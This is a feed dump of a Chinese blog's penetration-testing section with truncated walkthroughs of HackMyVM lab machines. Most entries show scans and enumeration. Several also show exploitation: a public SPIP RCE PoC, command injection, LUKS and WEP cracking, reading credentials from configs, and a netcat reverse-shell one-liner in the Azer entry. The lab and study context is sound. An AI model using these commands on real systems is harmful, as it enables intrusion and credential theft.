XiaoYuEgA's Blog - 渗透
type: channel
link: https://xiaoyuega.top/category/%E6%B8%97%E9%80%8F/
items: Fuzzz
items: HMV-Pipy
items: HMV-Oliva
items: HVM-Arroutada
items: Awker 靶机
items: HMV-Blackhat
items: HMV-Crack
items: HMV-Azer

Fuzzz
type: item
date: 2025-05-19T16:10:00+08:00
description: Fuzzz靶机信息靶机名: Fuzzz难度: Low-Easy信息收集root@kali:~# arp-scan --localnet -I eth0 Interface: eth0, type: EN10MB, MAC: 00:0c:29:d8:ab:ac, IPv4: 192.168.100.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.100.1 bc:24:11:b4:12:2d (Unknown) 192.168.100.2 bc:24:11:a2:5b:a7 (Unknown) 192.168.100.3 00:e0:4f:25:79:40 Cisco Systems, Inc 192.168.100.10 90:09:d0:24:84:21 Synology Incorporated 192.168.100.11 c8:98:28:3e:45:5b (Unknown) 192.168.100.12 c8:98:28:3e:49:9d (Unknown) 192.168.100.50 08:00:27:90:b8:90 PCS Systemtechnik GmbH 192.168.100.53 98:8f:e0:6b:01:94 Huaqin Technology Co.,Ltd. 192.168.100.53 98:8f:e0:6b:01:94 Huaqin Technology Co.,Ltd. (DUP: 2) 192.168.100.51 54:48:e6:cb:25:c9 Beijing Xiaomi Mobile Software Co., Ltdroot@kali:~# nmap 192.168.100.50 -p- -sC -sV Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-19 03:29 EDT Nmap scan report for 192.168.100.50 Host is up (0.0012s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9 (protocol 2.0) | ssh-hostkey: | 256 b6:7b:e7:e5:b3:33:c7:ff:db:63:5d:b3:75:0d:e2:dd (ECDSA) |_ 256 0a:ce:e5:c3:de:50:9c:6d:b7:0d:de:73:b8:6c:28:55 (ED25519) 5555/tcp open adb Android Debug Bridge (token auth required) MAC Address: 08:00:27:90:B8:90 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Service Info: OS: Android; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.62 secondsWeb5555 是 adb> adb connect 192.168.100.50:5555 connected to 192.168.100.50:5555 > adb devices List of devices attached 192.168.100.50:5555 device `` > adb shell / $ id uid=1000(runner) gid=1000(runner) groups=1000(runner)/opt $ netstat -tuln Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:80 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:5555 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTE…

HMV-Pipy
type: item
date: 2025-05-19T16:08:00+08:00
description: HackMyVM Pipy信息收集root@kali:~# nmap 192.168.100.54 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-19 01:57 EDT Nmap scan report for dev.loooower (192.168.100.54) Host is up (0.00076s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:99:73:FC (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 5.79 secondsimage-20250519144025638root@kali:~# nmap 192.168.100.54 -p80 -sC -sV Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-19 02:40 EDT Nmap scan report for dev.loooower (192.168.100.54) Host is up (0.00059s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-server-header: Apache/2.4.52 (Ubuntu) |_http-generator: SPIP 4.2.0 |_http-title: Mi sitio SPIP MAC Address: 08:00:27:99:73:FC (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.66 seconds发现 SPIP 版本为 4.2.0 https://www.exploit-db.com/exploits/51536有 RCE 直接使用 poc 弹 Shell 我用了这个https://github.com/0SPwn/CVE-2023-27372-PoC/blob/main/exploit.py提权 angelawww-data@pipy:/var/www$ ls -al total 20 drwxr-xr-x 4 www-data www-data 4096 Oct 5 2023 . drwxr-xr-x 14 root root 4096 Oct 2 2023 .. -rw------- 1 www-data www-data 130 Oct 5 2023 .bash_history drwxrwxrwx 3 www-data www-data 4096 Oct 5 2023 .local drwxr-xr-x 11 www-data www-data 4096 Oct 4 2023 html www-data@pipy:/var/www$ cat .bash_history whoami exit exit reset xterm export TERM=xterm-256color stty rows 51 cols 197 ls nano ls cat config/connect.php mysql -u root -p www-data@pipy:/var/www/html$ cat config/connect.php <?php if (!defined("_ECRIRE_INC_VERSION")) return; defined('_MYSQL_SET_SQL_MODE') || define('_MYSQL_SET_SQL_MODE',true); $GLOBALS['spip_connect_version'] = 0.8; spip_connect_db('localhost','','root','dbpassword','spip','mysql', 'spip','','');连接 mysql 密码dbpa…

HMV-Oliva
type: item
date: 2025-05-19T16:07:00+08:00
description: HackMyVM Oliva信息收集root@kali:~# nmap 192.168.100.54 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-18 21:55 EDT Nmap scan report for dev.loooower (192.168.100.54) Host is up (0.00065s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:AA:29:F1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 5.57 secondsimage-20250519095601211root@kali:~# gobuster dir -x php,html,js,txt -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://192.168.100.54 =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.100.54 [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: php,html,js,txt [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /index.php (Status: 200) [Size: 69] /index.html (Status: 200) [Size: 615]image-20250519095720721LUKSCLICK 后下载了一个文件 olivaroot@kali:~/oliva# file oliva oliva: LUKS encrypted file, ver 2, header size 16384, ID 3, algo sha256, salt 0x14fa423af24634e8..., UUID: 9a391896-2dd5-4f2c-84cf-1ba6e4e0577e, crc 0x6118d2d9b595355f..., at 0x1000 {"keyslots":{"0":{"type":"luks2","key_size":64,"af":{"type":"luks1","stripes":4000,"hash":"sha256"},"area":{"type":"raw","offsecryptsetup luksOpen oliva oliva是需要密码的， 原本使用了luks2john 但是只支持luks1, 找到一个bruteforce-luks 支持爆破luks2root@kali:~/oliva# bruteforce-luks -t 4 -f /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-100000.txt oliva Warning: using dictionary mode, ignoring options …

HVM-Arroutada
type: item
date: 2025-05-07T15:31:20+08:00
description: HackMyVM Arroutada信息收集端口扫描root@kali:~# nmap 192.168.100.55 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-07 02:13 EDT Nmap scan report for 192.168.100.55 Host is up (0.0017s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http MAC Address: 08:00:27:86:58:3C (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 7.18 seconds80端口 :image-20250507141457484只有黑手目录枚举root@kali:~# gobuster dir -x php,txt,html,js -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://192.168.100.55 =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.100.55 [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: php,txt,html,js [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /.html (Status: 403) [Size: 279] /.php (Status: 403) [Size: 279] /index.html (Status: 200) [Size: 59] /imgs (Status: 301) [Size: 315] [--> http://192.168.100.55/imgs/] /scout (Status: 301) [Size: 316] [--> http://192.168.100.55/scout/] /.php (Status: 403) [Size: 279] /.html (Status: 403) [Size: 279] Progress: 312995 / 1102800 (28.38%)^Cimgs 没有什么有用的东西/scout 中有几句话image-20250507141837038说游戏写重要的文档,但是不知道第一个路径是什么， 那我们再扫一遍目录root@kali:~# gobuster dir -x php,txt,html,js -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://192.168.100.55//scout/ =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============…

Awker 靶机
type: item
date: 2025-05-06T21:07:00+08:00
description: Awker简单写一下信息收集root@kali:~# nmap 192.168.100.56 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-06 08:41 EDT Nmap scan report for 192.168.100.56 Host is up (0.00065s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:83:CD:4D (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 6.95 seconds80： 是一个phpinfoimage-20250506204252227root@kali:~# gobuster dir -x php,txt,html,js -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://192.168.100.56 =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.100.56 [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: php,txt,html,js [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /.php (Status: 403) [Size: 279] /index.php (Status: 200) [Size: 85768] /.html (Status: 403) [Size: 279] /learning.php (Status: 200) [Size: 4891] Progress: 17591 / 1102800 (1.60%)^Cimage-20250506204407864目录扫出来一个/learning.php 直接命令注入image-20250506204450127直接反弹 shellUser提权www-data@Awker:/var/www/html$ find / -readable -type f 2>/dev/null|grep -Pv "pro c|sys|boot|usr|run|etc|var|snap" /home/welcome/WEP-capture.pcap /home/welcome/.bash_logout /home/welcome/.bashrc /home/welcome/.profilewelcome 家目录里有个WEP流量包 直接拉到本地 aircrack 解一下aircrack-ng WEP-capture.pcap Aircrack-ng 1.7 [00:00:01] Tested 60016 keys (got 17273 IVs) KB depth byte(vote) 0 0/ 1 4D(28160) 24(23808) 58(23552) 44(22528) B7(22528) 94(21760) D2(21504) 00(20992) 39(20992) 71(209…

HMV-Blackhat
type: item
date: 2025-05-06T14:41:00+08:00
description: HackMyVM Blackhat信息收集root@kali:~# arp-scan --localnet -I eth0 Interface: eth0, type: EN10MB, MAC: 00:0c:29:d8:ab:ac, IPv4: 192.168.100.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.100.1 bc:24:11:b4:12:2d (Unknown) 192.168.100.2 bc:24:11:a2:5b:a7 (Unknown) 192.168.100.3 00:e0:4f:25:79:40 Cisco Systems, Inc 192.168.100.10 90:09:d0:24:84:21 Synology Incorporated 192.168.100.11 c8:98:28:3e:45:5b (Unknown) 192.168.100.12 c8:98:28:3e:49:9d (Unknown) 192.168.100.53 98:8f:e0:6b:01:94 Huaqin Technology Co.,Ltd. 192.168.100.53 98:8f:e0:6b:01:94 Huaqin Technology Co.,Ltd. (DUP: 2) 192.168.100.54 08:00:27:c4:74:2a PCS Systemtechnik GmbH 192.168.100.52 ae:b9:07:ec:8e:76 (Unknown: locally administered) 192.168.100.51 54:48:e6:cb:25:c9 Beijing Xiaomi Mobile Software Co., Ltd 14 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.026 seconds (126.36 hosts/sec). 10 responded端口扫描root@kali:~# nmap 192.168.100.54 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-05 14:43 EDT Nmap scan report for 192.168.100.54 Host is up (0.00078s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http MAC Address: 08:00:27:C4:74:2A (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 6.40 seconds80端口：image-20250506024441421目录枚举root@kali:~# gobuster dir -x php,txt,html,js -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://192.168.100.54 =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.100.54 [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: php,txt,htm…

HMV-Crack
type: item
date: 2025-05-05T00:50:00+08:00
description: HackMyVM Crack信息收集┌──(kali㉿kali)-[~] └─$ nmap -p0-65535 192.168.100.55 Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-04 11:08 EDT Nmap scan report for 192.168.100.55 Host is up (0.00038s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 4200/tcp open vrml-multi-use 12359/tcp open unknown MAC Address: 08:00:27:90:73:E2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 5.72 seconds详细扫一下┌──(kali㉿kali)-[~] └─$ nmap -p21,4200,12359 -sC -sV 192.168.100.55 Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-04 11:12 EDT Nmap scan report for 192.168.100.55 Host is up (0.00049s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.100.100 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.3 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxrwxrwx 2 0 0 4096 Jun 07 2023 upload [NSE: writeable] 4200/tcp open ssl/http ShellInABox |_http-title: Shell In A Box |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=crack | Not valid before: 2023-06-07T10:20:13 |_Not valid after: 2043-06-02T10:20:13 12359/tcp open unknown | fingerprint-strings: | GenericLines: | File to read:NOFile to read: | NULL: |_ File to read: 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port12359-TCP:V=7.95%I=7%D=5/4%Time=681783E9%P=x86_64-pc-linux-gnu%r(NU SF:LL,D,"File\x20to\x20read:")%r(GenericLines,1C,"File\x20to\x20read:NOFil SF:e\x20to\x20read:"); MAC Address: 08:00:27:90:73:E2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Service Info: OS: Unix Service de…

HMV-Azer
type: item
date: 2025-05-04T22:33:00+08:00
description: HackMyVM Azer信息收集$ nmap 192.168.100.54 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-01 06:19 EDT Nmap scan report for 192.168.100.54 Host is up (0.00071s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http 3000/tcp open ppp MAC Address: 08:00:27:D6:92:0B (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 6.00 secondsimage-2025050118210276280 是一个网页 未发现明显线索3000 端口是一个登录页面image-20250501182216467随便试了一下弱口令后返回image-20250501183040641好像会使用我输入的账密 执行脚本验证 所以我们进行命令注入尝试使用 | id 发现没有回显| sleep 5成功睡眠了GetShell那么我们直接开始反弹 Shell使用 nc -c bash 192.168.100.100 9001 命令反弹 shell┌──(kali㉿kali)-[~] └─$ nc -lvnp 9001 listening on [any] 9001 ... connect to [192.168.100.100] from (UNKNOWN) [192.168.100.54] 59874 id uid=1000(azer) gid=1000(azer) groups=1000(azer),100(users)获取User Flagazer@azer:~$ ls -al total 64 drwx------ 5 azer azer 4096 Feb 21 2024 . drwxr-xr-x 3 root root 4096 Feb 21 2024 .. -rwxr-xr-x 1 azer azer 72 Feb 21 2024 get.sh drwxr-xr-x 66 azer azer 4096 Feb 21 2024 node_modules drwxr-xr-x 4 azer azer 4096 Feb 21 2024 .npm -rw-r--r-- 1 azer azer 53 Feb 21 2024 package.json -rw-r--r-- 1 azer azer 25336 Feb 21 2024 package-lock.json -rw-r--r-- 1 azer azer 1950 Feb 21 2024 server.js drwxr-xr-x 2 azer azer 4096 Feb 21 2024 .ssh -rw------- 1 azer azer 33 Feb 21 2024 user.txt azer@azer:~$ cat user.txt 0d2856d69dc348b3af80a0eed67c7502在家目录中获得了 user flagRoot提权azer@azer:~$ ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host noprefixroute valid_lft forever preferred_lft forever 2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 08:00:27:d6:92:0b brd ff:ff:ff:ff:ff:ff inet 192.168.100.54/24 brd 192.168.100.255 scope global dynamic enp0s3 valid_lft 5317sec…